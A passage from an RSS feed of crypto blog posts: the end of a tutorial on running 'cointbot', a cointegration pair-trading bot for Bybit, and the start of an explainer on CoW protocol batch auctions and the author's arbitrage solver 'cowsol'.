href="https://github.com/go-outside-labs/blockchain-science-py"><strong>after cloning cointbot</strong></a>, add all the necessary system and trading settings to a <code>.env</code> file, and then install the python package:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/98b5da6cd9906cc70acc496e5e674ecec114fc79679dabb24d50e604795d2d45.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-you-are-now-all-set-to-explore-cointbot" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">✅ you are now all set to explore cointbot:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ea77c0b9199b08de9719ce098d132d23c9a0ead39a4e88a6aca12fb9686566de.png" alt="cointbot CLI " blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">cointbot CLI</figcaption></figure><hr><h2 id="h-fetching-a-perpetual-currencys-data" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏿‍♀️✨ fetching a perpetual currency’s data</h2><blockquote><p>💡 <em>a </em><strong><em>perpetual contract</em></strong><em> is a contract that can be held in perpetuity, i.e., indefinitely until the trader closes their position.</em></p></blockquote><p>let’s start testing cointbot by running the simplest option, which is simply calling bybit’s API to query the market data for all derivatives (symbols) for a given currency (<em>e.g.,</em> <code>USDT</code>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bb1ea966183e9f3a212ca97835149f806a4896153046a5edc333483e2e3fe926.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is an example of the output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7880d9fec981ff8c5f1a90f1def1002c7c90e35653a64f891611fc0bbc4e40aa.png" alt=".fetching all available derivative&apos;s data for USDT." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.fetching all available derivative&apos;s data for USDT.</figcaption></figure><hr><h2 id="h-fetching-price-history-for-a-derivative-currency" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏼✨ fetching price history for a derivative currency</h2><p>cute. now let’s get to business and start our cointegration analysis.</p><p>the second menu option queries the market price k-lines for all symbols above in a given <code>TIMEFRAME</code> and <code>KLINE-LIMIT</code>, not only printing them to <code>STDOUT</code> but also saving them as <code>JSON</code> to <code>OUTPUTDIR/PRICE_HISTORY_FILE</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7c846e045e4af42bc03ec3f671a4a5be0cb430346bf2ea3ef5797a4eea9d4cff.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>💡 <em>in the context of trading, a </em><strong><em>k-line</em></strong><em> represents the </em><strong><em>fluctuation</em></strong><em> of asset prices in a given time frame. it shows the </em><strong><em>close price</em></strong><em>, </em><strong><em>open price</em></strong><em>, </em><strong><em>high price</em></strong><em>, and </em><strong><em>low price</em></strong><em>. if the </em><strong><em>close price &gt; open price</em></strong><em>, the k-line has a </em><strong><em>positive line</em></strong><em>. otherwise, it is a </em><strong><em>negative line</em></strong><em>.</em></p></blockquote><p>here is an example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/74f5cdbda1a43dff9a5e37e3e0e2993e8d91b35bb789d1f225fd361b3cd03f30.png" alt=".fetching price history for USDT." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.fetching price history for USDT.</figcaption></figure><blockquote><p>💡 <em>bybit employs a </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.bybit.com/en-US/help-center/bybitHC_Article?id=360039261074&amp;language=en_US"><strong><em>dual-price mechanism</em></strong></a><strong><em> to prevent market manipulations</em></strong><em> (when the market price on a futures exchange deviates from the spot price, causing mass liquidation of traders&apos; positions). the dual-price mechanism consists of </em><strong><em>mark price</em></strong><em> and </em><strong><em>last traded price</em></strong><em>. &quot;mark price&quot; refers to a </em><strong><em>global spot price index plus a decaying funding basis rate</em></strong><em>, and it&apos;s used as a trigger for liquidation and to measure </em><strong><em>unrealized profit and loss</em></strong><em>. &quot;last traded price&quot; is the </em><strong><em>current market price</em></strong><em>, anchored to the </em><strong><em>spot price</em></strong><em> using the funding mechanism.</em></p></blockquote><hr><h2 id="h-calculating-cointegration-for-the-history-data" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏽‍♀️✨ calculating cointegration for the history data</h2><p>with the price history data from the previous step, we can now calculate cointegration for each symbol (for the desired <code>PLIMIT</code> , the chosen p-value that defines a &quot;hot&quot; pair:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2da34122e8b3f2b77aec87490c3664a7dbce9e154ac012f6b7c8a6caf0e364d1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is an example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/70b5633a2d9f8d5738557468285268ff98cf69a406a1f8389e642deb533ae8cb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>this step will also calculate <strong>p-values</strong>, <strong>hedge ratios</strong>, and <strong>zero crossings</strong>. the resulting Pandas&apos; <code>DataFrame</code> is then saved at <code>OUTPUTDIR/COINTEGRATION_FILE</code>, sorted by <code>zero_crossing</code>.</p><blockquote><p>💡 <em>in statistics, </em><strong><em>zero crossing</em></strong><em> is a point where the sign of function changes. In the context of trading, it determines an </em><strong><em>entry point</em></strong><em> (using the price in relation to the moving average as a </em><strong><em>direction confirmation</em></strong><em>).</em></p></blockquote><hr><h2 id="h-backtesting-a-cointegrated-pair" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏼‍♀️✨ backtesting a cointegrated pair</h2><p><em>did it work?</em></p><blockquote><p>💡 <em>in the context of crypto trading, </em><strong><em>backtesting</em></strong><em> is accomplished by </em><strong><em>reconstructing</em></strong><em>, with </em><strong><em>historical data</em></strong><em>, trades that would have occurred in the past using rules defined by a given strategy, gauging the </em><strong><em>effectiveness of the strategy</em></strong><em>.</em></p></blockquote><p>select your favorite asset pair from the previous step, and let’s <strong>backtest</strong> their cointegration by testing the success of the hypothesis (and making some cool plots for their series’ spreads and z-score).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ea8cb35b4490c53db277324c7098b72333bb207174b8e09421aec367852eb145.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>example of output for <code>BNBUSDT</code> vs. <code>ALGOUSDT</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/94b16d7d356a1f22968ba159359ea36b7263928cf5e926ca61a73972a06902c5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by the way, this command also generates their cointegration plots and backtest data, and saves them at <code>OUTPUTDIR/</code>.</p><blockquote><p>💡* <strong>lil tip</strong>: if you are <strong>starting an entirely new run</strong>, <strong>clean up</strong> the current setup with *<code>make clean_data</code>.*</p></blockquote><hr><h2 id="h-looking-at-the-top-cointegrated-pairs" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏽‍♂️✨ looking at the top cointegrated pairs</h2><p>once we have all data from the previous step, we can look at the top cointegrated securities for the given <code>TIMEFRAME</code> and <code>NUMBER</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0b21c2937fdfb49fa754f2231c7e7146a5c25a3e2257b6ce6db83e8704eb195f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6ec1c6ea9abd19c23729a1bd085cee5911484215d719d0d08e90c93c4db6df9e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>note that this command automatically generates the backtesting data and plots (similar to the previous option).</p><h3 id="h-congrats-you-now-understand-cointegration-pair-trading-its-time-to-move-to-our-trading-bots" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">✅ congrats, you now understand cointegration pair trading. it’s time to move to our trading bots.</h3><hr><h2 id="h-testing-orderbooks-websockets" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧘🏾‍♀️✨ testing orderbooks websockets</h2><p>our bot will be connecting to bybit’s through both REST APIs and websockets endpoints. let’s start by testing the last one.</p><p>to open a websocket subscribed to a cointegration pair (either for <strong>spot</strong>, <strong>linear</strong>, or <strong>inverse</strong> markets), run:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3343a4a71c0ef115db04fa7c105df9bc4135016948241e0f9a0af1dd8874d373.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-topics-for-spot-market" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">topics for spot market</h3><p><strong>spot market</strong> topics are implemented by the <code>trade_v1_stream()</code> method, which pushes raw data for each trade (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bybit-exchange.github.io/docs/spot/v1/#t-websocket"><strong>API docs here</strong></a>).</p><p>after a successful subscription message, the first data message (<code>f: true</code>), consists of the last 60 trades.</p><p>after (<code>f: false</code>), only new trades are pushed (at a frequency of 300ms, where the message received has a maximum delay of 400ms).</p><p>example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d6afb508c0c3c9e51b6a7ca96ab77ba1d4547bfaedc08073e9e8d41283362a70.png" alt="websockets connection for spot" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">websockets connection for spot</figcaption></figure><hr><h3 id="h-topics-for-inverse-perpetualfutures-market" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">topics for inverse perpetual/futures market</h3><p><strong>inverse market</strong> topics are implemented with <code>orderbook_25_stream()</code>, which fetches the orderbook with a depth of 25 orders per side (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bybit-exchange.github.io/docs/futuresV2/inverse/#t-websocketresponse"><strong>API docs here</strong></a>).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bfa56b0508c8610902dd8feaf078161760f10ff210d33de5710fafe68450174d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>after the subscription response, the first response will be the snapshot response, showing the entire orderbook.</p><p>the data is ordered by price (starting with the lowest buys). push frequency is 20ms.</p><p>example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5c5157f1d9fb17d428e53d34286f8ad504f30180a78a9838b9e1702f385f847c.png" alt="websockets connection for inverse" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">websockets connection for inverse</figcaption></figure><hr><h3 id="h-topics-for-usdt-linear-perpetual" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">topics for USDT linear perpetual</h3><p>finally, <code>USDT</code> <strong>linear market</strong> topics are implemented with <code>orderbook_25_stream()</code>, which fetches the orderbook with a depth of 25 orders per side (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://bybit-exchange.github.io/docs/futuresV2/linear/#t-websocketresponse"><strong>API docs here</strong></a>).</p><p>the first response is the snapshot response, showing the entire orderbook.</p><p>the data is ordered by price, starting with the lowest buys and ending with the highest sells. push frequency is 20ms.</p><p>example of output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/7c98987a9b4e57fef572caabb8b18a57c557639de3aadfd240177592ae7661c7.png" alt=".websockets connection for linear." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.websockets connection for linear.</figcaption></figure><hr><h2 id="h-deploying-a-cointegrated-trading-bots" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧎🏻‍♀️✨ deploying a cointegrated trading bots</h2><p>all right, we made it. let’s deploy those cuties.</p><p>several bots with different strategies are found inside <code>src/bots/</code>. in this article, we will go over the strategy and deployment of <code>Bot1</code>. feel free to explore the other bots there, and if you would like to keep up to date with the new ones i am continuously adding, just star the repo, dunno 🤷🏻‍♀️.</p><p>by the way, each bot has a different number and configuration settings in the .<code>env</code> file (<em>e.g.,</em> <code>BOT_COINS</code>, <code>BOT_MARKET_TYPE</code>, <code>BOT_ORDER_TYPE</code>, <code>BOT_STOP_LOSS</code>, <code>BOT_TRADEABLE_CAPITAL</code>, and others). before the next step, you should check them out (and understand their effects).</p><hr><h3 id="h-high-level-strategy-for-bot1" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">high-level strategy for Bot1</h3><p>this is how <code>Bot1</code> gets set up:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c0769c9bd494b5ef5338086b5b6a260d0f433f50541a9a900fbc803e42c82c98.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>and this is how <code>Bot1</code> executes, inside a <code>while True</code> loop:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d4076192c6f4692c13500b3839a3e5937f0d4b935f14c4a5063042f565402d79.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>you should check the code (the main class is called <code>BbBotOne</code>), and then spin it up:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a9c5db41ca468953599e01b2e2ea4c89b3bfc441fcf5d5676ff41386b878e4a1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>for more details on what happens next, check out cointbot repo 😉.</p><p>by the way, you can also have <code>Bot1</code> running inside a docker container with:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ce15dbd2a54bba6e12d22542b9ed6bcdcfde968d35a8a19560eb8fd5ed5f5459.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/d9d4ff8068d39dadf1e4b0274d03f7b27bc45f79a7f99f41ed379e740491ddae.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on cowsol, my arb solver for cow protocol]]></title>
            <link>https://paragraph.com/@go-outside/on-cowsol-my-arb-solver-for-cow-protocol</link>
            <guid>PF6lRYwKhR8WIRrhvffr</guid>
            <pubDate>Sun, 13 Nov 2022 01:15:12 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over one of my MEV bots, cowsol, which runs arbitrage strategies for CoW protocol. set a nice soundtrack, grab your favorite beverage, and solve the puzzles with me.🎶 today’s moodhttps://open.spotify.com/track/4Y2W4zKa3q72ztbkA0r8Va?si=c79621ab86ca4b95🐮🧩 piece #1: coincidence of wants💡 the cow protocol is a fully permissionless trading protocol that uses this novel idea of batch auctions to find prices and maximize liquidity, the “coincidence of wants”.🫱🏻‍🫲🏽 put it si...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over one of my MEV bots, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/cow_arbitrage_solver">cowsol</a>, which runs arbitrage strategies for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cowprotocol">CoW protocol</a>.</p><p>set a nice soundtrack, grab your favorite beverage, and solve the puzzles with me.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/4Y2W4zKa3q72ztbkA0r8Va?si=c79621ab86ca4b95">https://open.spotify.com/track/4Y2W4zKa3q72ztbkA0r8Va?si=c79621ab86ca4b95</a></p><hr><h2 id="h-piece-1-coincidence-of-wants" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐮🧩 piece #1: coincidence of wants</h2><blockquote><p>💡 <em>the cow protocol is a </em><strong><em>fully permissionless</em></strong><em> trading protocol that uses this novel idea of batch auctions to find prices and maximize liquidity, the “coincidence of wants”.</em></p></blockquote><h3 id="h-put-it-simply-its-a-protocol-for-the-good-old-no-middle-man-free-market" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🫱🏻‍🫲🏽 put it simply, it’s a protocol for the good old no-middle-man free-market:</h3><p><strong><em>“i have what you want, you have what i want, let’s chat directly and maximize our surplus, instead of transferring this convo to external market makers or liquidity providers and paying their fees”.</em></strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/979946be1549785d4047af0c9b3ca873455c3b3336af5266d8ce314024e36772.png" alt="https://swap.cow.fi/" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://swap.cow.fi/</figcaption></figure><p>in other words, instead of relying on mev-prone amms (<em>e.g.</em>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://timroughgarden.org/papers/eip1559.pdf">“loss versus rebalancing&quot;</a> mev) or some concealed clob, cow protocol uses the network of <strong>1) traders + 2) solvers</strong> for <strong>fair and trustless p2p trading.</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/hasufl/status/1590716778027823106?s=20&amp;t=xYzrf2e76cDda8TfLkIpqg">https://twitter.com/hasufl/status/1590716778027823106?s=20&amp;t=xYzrf2e76cDda8TfLkIpqg</a></p><p>using <strong>batch auctions</strong> means the settlement layer does not need to access on-chain liquidity.</p><p>moving the market off-chain protects traders against predacious players from the mev game (looking at ya, frontrunners &amp; friends) and directly helps with better prices for trades (<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.cow.fi/t/cow-native-amms-aka-surplus-capturing-amms-with-single-price-clearing/1219">this is a hard problem</a>, but you can initially think gas fees optimization and less slippage).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ddcdfc73fda50ce7c652e5833c8dd5bbbf277d6c8dbec7f8b350a9228f072b8d.png" alt="https://cow-protocol.medium.com/do-cows-slip-age-less-389150154f84" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://cow-protocol.medium.com/do-cows-slip-age-less-389150154f84</figcaption></figure><h3 id="h-mev-extraction-should-be-aligned-with-the-ethos-of-decentralization-right" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">mev extraction should be aligned with the ethos of decentralization, right?</h3><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">♇</h2><h3 id="h-lets-unpack" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🫡 let’s unpack.</h3><hr><h2 id="h-piece-2-cow-swap-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐮🧩 piece #2: cow swap overview</h2><blockquote><p>💡 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://swap.cow.fi/">cow swap</a> <em>is the first trading interface built </em><strong><em>on top of cow Protocol</em></strong><em> and acts as a “meta” dex aggregator, giving the user the best prices across aggregators or amms within a batch.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/be227a96f81edef41e58dab15975de665b97bb121ff28504dc677c5f9e7ab282.png" alt="https://docs.cow.fi/overview/batch-auctions" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://docs.cow.fi/overview/batch-auctions</figcaption></figure><h3 id="h-mev-protection" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">mev protection</h3><p>since cow swap leverages batch auctions:</p><ul><li><p>there is no need for ordering the transactions within a batch and no value can be extracted by placing them in a certain order (preventing primary strategies used in mev such as frontrunners or sandwiches).</p></li><li><p>independent parties, the solvers, settle the trade on-chain. they can be a person or an entity that submits solutions that maximize trade surplus for a given batch (preventing manipulation surface of miners and frontrunners).</p></li><li><p>the existence of cows may significantly reduce the amount that has to be exchanged via external mev-prone protocols.</p></li></ul><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/CoWSwap/status/1590439350785146881?s=20&amp;t=Yt1m88AAgEvjX7FTxWAJ2g">https://twitter.com/CoWSwap/status/1590439350785146881?s=20&amp;t=Yt1m88AAgEvjX7FTxWAJ2g</a></p><h3 id="h-the-orderbook-and-the-driver" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the orderbook and the driver</h3><p>cow swap works on top of two main <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cowprotocol/services">services</a>:</p><ul><li><p>the <strong>orderbook (database)</strong>, which stores trade data.</p></li><li><p>the <strong>driver (pooling)</strong>, which queries the orderbook for orders <code>(solvable_orders)</code>, settles them with different solvers, and then executes trades on-chain.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0b031c134a9661b8bc8410846291e5e15f343d60a33c2ca39d5b2afea12ddb38.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>here is how the order flow works in this model:</p><ol><li><p>user approves the contract allowance manager to enable trading for a token.</p></li><li><p>users place limit sell/buy orders off-chain by signing a message with their trade details.</p></li><li><p>solvers pick up the off-chain orders and calculate the best way to settle them in a batch auction.</p></li><li><p>the protocol selects the best order settlement solution, maximizing trader welfare, with the best clearing prices in that batch.</p></li><li><p>users enjoy their new tokens.</p></li></ol><h3 id="h-no-lps" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">no lps</h3><p>instead of relying on liquidity providers, cow swap connects on-chain liquidity from different protocols. active market makers can <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cowprotocol/cow-sdk">observe</a> the <strong>orderbook</strong> and place counter orders, creating a cow (and preventing trades to be settled by external liquidity).</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/fleupold_/status/1589674041409163264?s=20&amp;t=Z9OUjDTkzOP80NFrxQNICw">https://twitter.com/fleupold_/status/1589674041409163264?s=20&amp;t=Z9OUjDTkzOP80NFrxQNICw</a></p><h3 id="h-pre-signing-order-and-off-chain-signing" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pre-signing order and off-chain signing</h3><p>on cow swap, trades can be initialized by using a signing method called pre-sign, which can be invoked by any contract. pre-signing an order in the settlement contract is equivalent to providing an off-chain signature for the <code>orderId</code>.</p><p>additionally, the cow protocol has recently introduced their <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Smart_order_routing">concept</a> of <strong>smart orders,</strong> by providing a new form of on-chain signature verification through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-1271">EIP-1271</a> support for off-chain signing.</p><p>custom validation logic can be built on orders (through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.cow.fi/tutorials/how-to-place-erc-1271-smart-contract-orders/the-basics-of-erc-1271">implementing</a> an <code>isValidSignature</code> method), allowing smart contracts to have their own signature validation scheme (and facilitating things such as stop-loss orders, time weighted average price orders, and so much more jazz).</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/CoWSwap/status/1587895229666893824?s=20&amp;t=xYzrf2e76cDda8TfLkIpqg">https://twitter.com/CoWSwap/status/1587895229666893824?s=20&amp;t=xYzrf2e76cDda8TfLkIpqg</a></p><p>a cool example is <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Curved-CoW/eth-bogota-curved-cow">the implementation of curved orders</a>.</p><h3 id="h-data-fun" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">data fun</h3><p>so how this protocol is performing?</p><p>the cow protocol team provides <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dune.com/cowprotocol/CowSwap">several dune boards</a> for:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dune.com/cowprotocol/CoWSwap-Trades">trade history</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dune.com/cowprotocol/CoW-Protocol-Batch-History">batch history</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" 